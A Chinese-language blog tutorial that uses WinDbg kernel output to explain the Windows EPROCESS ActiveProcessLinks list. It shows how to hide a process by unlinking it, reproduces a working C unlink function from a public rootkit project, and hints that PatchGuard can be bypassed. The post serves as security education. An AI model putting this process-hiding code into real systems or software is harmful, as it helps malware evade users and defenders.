撰寫本系列文章目的在於提升資訊安全之實務能力,
並透過實作體悟到資訊安全領域的重要性,
本系列所有文章之內容皆有一定技術水平,
不得從事非法行為、惡意攻擊等非法活動,
「一切不合法規之行為皆受法律所約束」,
為了避免造成公司、廠商或玩家之間困擾,
所有實作不會拿已上市產品、Online Game 等等來作範例學習,
且部分具有深度、價值之內容,將會提升一定閱讀門檻(不對該技術做分析、解說),
請勿透過本系列文章所學,從事任何非法活動,請不要以身試法!!!
首先開始前要先說一下,
小弟我目前還屬於菜鳥階段,正不斷努力學習中,
若有發現錯誤或不妥之處還請不吝賜教。
歡迎大家多多留言,互相交流交流。
那就開始今天的主題吧~~
今天要來講講 EProcess 中的 ActiveProcessLinks,
首先當然是先打開強大的工具:WinDbg
 
 
 
!process 0 0 notepad.exe
lkd> !process 0 0 notepad.exe
PROCESS ffffe30718e4c080
    SessionId: 1  Cid: 0a58    Peb: 329620000  ParentCid: 1054
    DirBase: 1becc000  ObjectTable: ffffcf018b67e900  HandleCount: 263.
    Image: notepad.exe
dt _eprocess ffffe30718e4c080
lkd> dt _eprocess ffffe30718e4c080
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : 0x00000000`00000a58 Void
  >+0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe307`1787b368 - 0xffffe307`186f98a8 ]
   +0x2f8 RundownProtect   : _EX_RUNDOWN_REF
   --- --- --- ---
   --- --- --- ---
   --- --- --- ---
   +0x448 ImageFilePointer : 0xffffe307`17e50080 _FILE_OBJECT
-->+0x450 ImageFileName    : [15]  "notepad.exe"
   +0x45f PriorityClass    : 0x2 ''
   +0x460 SecurityPort     : (null) 
此時此刻,
我們可以在 EProcess 中看到 +0x2e8 處有個 ActiveProcessLinks,
它是 _LIST_ENTRY 結構的表,這張表是雙向鏈表,
只要是執行中的 Process 都可以列舉這張表來找到,
可以輸入 dt _LIST_ENTRY 看一下它的樣貌:
lkd> dt _LIST_ENTRY
nt!_LIST_ENTRY
   +0x000 Flink   : Ptr64 _LIST_ENTRY
   +0x008 Blink   : Ptr64 _LIST_ENTRY
所以,
Flink 指向 0xffffe307`1787b368
Blink 指向 0xffffe307`186f98a8
Flink 是指向下一個 EProcess 的 ActiveProcessLinks,
Blink 是指向前一個 EProcess 的 ActiveProcessLinks,
我們手動來看看這個 notepad.exe 的下一個 Process 是誰,
輸入:da 0xffffe307`1787b368-0x2e8+0x450
-0x2e8 是因為 ActiveProcessLinks 是在 EProcess +0x2e8 的位置,
扣除後就會回到 EProcess 正確的位址。
+0x450 是因為 ImageFileName 距離 EProcess +0x450 的位置,
加上後就會走到 ImageFileName 這個位置。
所以就會看到:
lkd> da 0xffffe307`1787b368-0x2e8+0x450
ffffe307`1787b4d0  "audiodg.exe"
這樣就手動列舉出 notepad.exe 的下一個 Process 是 audiodg.exe,
那 notepad.exe 前一個呢?同樣道理。
所以有想到要如何隱藏 Process 了嗎?
做壞事我想最快 XD
我整理了資訊如下:
| Process Name | EProcess | ActiveProcessLinks | Flink | Blink | 
|---|---|---|---|---|
| svchost.exe | 0xffffe307186F95C0 | 0xffffe307186f98a8 | 0xffffe30718e4c368 | 0xffffe307167958a8 | 
| notepad.exe | 0xffffe30718e4c080 | 0xffffe30718e4c368 | 0xffffe3071787b368 | 0xffffe307186f98a8 | 
| audiodg.exe | 0xffffe3071787b080 | 0xffffe3071787b368 | 0xffffe307187076e8 | 0xffffe30718e4c368 | 
ActiveProcessLinks = EProcess + 0x2e8
Flink = 下一個 EProcess 的 ActiveProcessLinks
Blink = 上一個 EProcess 的 ActiveProcessLinks
所以知道怎麼做了嗎?
流程大概是這樣:
完成後就會像這樣:
| Process Name | EProcess | ActiveProcessLinks | Flink | Blink | 
|---|---|---|---|---|
| svchost.exe | 0xffffe307186F95C0 | 0xffffe307186f98a8 | 0xffffe3071787b368 | 0xffffe307167958a8 | 
| notepad.exe | 0xffffe30718e4c080 | 0xffffe30718e4c368 | 0xffffe3071787b368 | 0xffffe307186f98a8 | 
| audiodg.exe | 0xffffe3071787b080 | 0xffffe3071787b368 | 0xffffe307187076e8 | 0xffffe307186f98a8 | 
程式碼怎麼寫呢?請看 hidden Project 的 PsMonitor.c
我放一份在這:
VOID UnlinkProcessFromList(PLIST_ENTRY Current)
{ // https://github.com/landhb/HideProcess/blob/master/driver/hideprocess.c
	PLIST_ENTRY Previous, Next;
	Previous = (Current->Blink);    
	Next = (Current->Flink);
	// Loop over self (connect previous with next)
	Previous->Flink = Next;
	Next->Blink = Previous;
	// Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
	Current->Blink = (PLIST_ENTRY)&Current->Flink;
	Current->Flink = (PLIST_ENTRY)&Current->Flink;
}
隱藏前:
隱藏後:

注意!已經有按照 PID 排序 XD
注意!注意!
使用這項技術會觸發 PatchGuard!!!
Kernel_Patch_Protection
觸發後長什麼樣子?
圖片來源:poc-published-for-new-microsoft-patchguard-kpp-bypass
讀者:所以有辦法繞過嗎?
我:有!開啟測試模式 XDDDDD
讀者:我是說有在一般環境下運作的方法嗎?(不開測試模式)
我:有!剛剛上面那ㄍ連結好像是今年的ㄛ :D
多多思考,多多研究,多多爬文,多多交流
就會知道如何 Bypass PatchGuard!!!!!
這部份就不說了。

好了,這篇就講到這結束了,
大家若有發現哪裡寫得不好或錯誤的地方,都留個言討論一下吧 XD
那我們下期見 o( ̄▽ ̄)ブ